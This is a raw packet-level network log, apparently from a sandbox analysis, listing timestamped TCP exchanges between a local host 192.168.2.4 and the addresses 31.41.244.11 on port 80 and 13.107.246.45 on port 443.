Nov 18, 2024 23:04:14.097321033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.097402096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.097402096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.097531080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.097546101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.097562075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.097609997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.097640038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.098167896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098257065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098272085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098287106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098303080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098318100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098324060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.098332882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098350048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098356962 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.098404884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.098433971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.098774910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098788977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098803043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098834991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.098870993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.098872900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098890066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098903894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.098936081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.098974943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.136506081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137022018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137037039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137074947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137090921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137136936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.137218952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137221098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.137234926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137276888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137291908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137309074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137310028 CET	443	49824	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.137320042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137340069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137363911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137379885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137461901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.137463093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.137463093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.137463093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.137491941 CET	443	49824	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.137887001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137900114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137913942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137929916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.137964010 CET	49824	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.137995958 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.137996912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.138000011 CET	49824	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.138000011 CET	49824	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.138022900 CET	443	49824	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.138032913 CET	443	49824	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.138040066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138056040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138070107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138083935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138098955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138107061 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.138161898 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.138724089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138739109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138753891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138767004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138781071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138799906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.138832092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.138855934 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.138889074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138906002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138920069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138936043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138945103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.138952017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.138966084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.139024019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.139051914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.139377117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.139451981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.139528036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.139543056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.139626026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.139832973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.139848948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.139863968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.139879942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.139897108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.139928102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.139945030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.140017033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140032053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140048027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140063047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140065908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.140077114 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140085936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.140100956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140110016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.140152931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.140160084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140176058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140191078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140260935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.140260935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.140712023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140727997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140743017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140778065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.140805960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.140892982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140908957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140923977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140939951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140955925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140969038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.140970945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.140995979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.141038895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.141756058 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.141762018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141777992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141793013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141793966 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.141807079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141822100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141825914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.141839027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141854048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141869068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.141870022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141885042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141890049 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.141900063 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141907930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.141915083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141930103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141944885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.141946077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.141971111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.142194986 CET	49829	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.142200947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.142211914 CET	443	49829	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.142750025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142765045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142779112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142795086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142810106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142822981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142832994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.142838955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142855883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142868996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.142869949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142884970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142888069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.142899990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142915010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142930984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142932892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.142945051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142961025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.142973900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.142976046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.143004894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.143023968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.157366991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.157382965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.157397985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.157454967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.157493114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.157804012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.157883883 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.157898903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.157946110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.157978058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.158219099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.158233881 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.158248901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.158261061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.158294916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.158338070 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.184168100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.184189081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.184206009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.184221983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.184237957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.184252977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.184288979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.184467077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.197369099 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.197598934 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.197827101 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.200515985 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.200519085 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.200520039 CET	49825	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.200556040 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.200558901 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.200579882 CET	443	49825	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.200668097 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.200843096 CET	49830	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.200856924 CET	443	49830	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.216906071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.216933012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.216957092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217032909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.217181921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217195988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217211962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217227936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217242002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217412949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.217412949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.217498064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217510939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217525005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217540026 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217554092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217763901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.217763901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.217763901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.217859983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217875004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217891932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217905998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217921019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.217921972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217936993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217946053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.217951059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.217968941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.217991114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.218322992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.218338013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.218353033 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.218367100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.218379974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.218383074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.218399048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.218419075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.218447924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.226619959 CET	49822	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:14.226686001 CET	443	49822	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:14.265628099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.265671015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.265687943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.265713930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.265728951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.265744925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.265760899 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.265789032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.265873909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266077995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266093969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266109943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266127110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266141891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266143084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266160011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266176939 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266186953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266199112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266211033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266232967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266269922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266706944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266722918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266737938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266767979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266798973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266812086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266829967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266845942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266861916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266875029 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266877890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266895056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266910076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266912937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266930103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.266947985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.266968012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.267005920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.267750978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267766953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267781973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267796993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267812014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267812967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.267827034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267832994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.267843008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267858028 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267870903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.267874956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267890930 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267890930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.267908096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.267909050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.267945051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.267973900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.268692017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268708944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268723011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268738985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268752098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.268754959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268769026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.268773079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268789053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268805027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268817902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.268817902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.268819094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268836975 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268851995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.268853903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.268891096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.268908024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.269639969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269656897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269673109 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269689083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269700050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.269714117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269726038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:14.269731045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269747972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269763947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269779921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:14.269783974 CET	49794	80	192.168.2.4	31.41.244.11
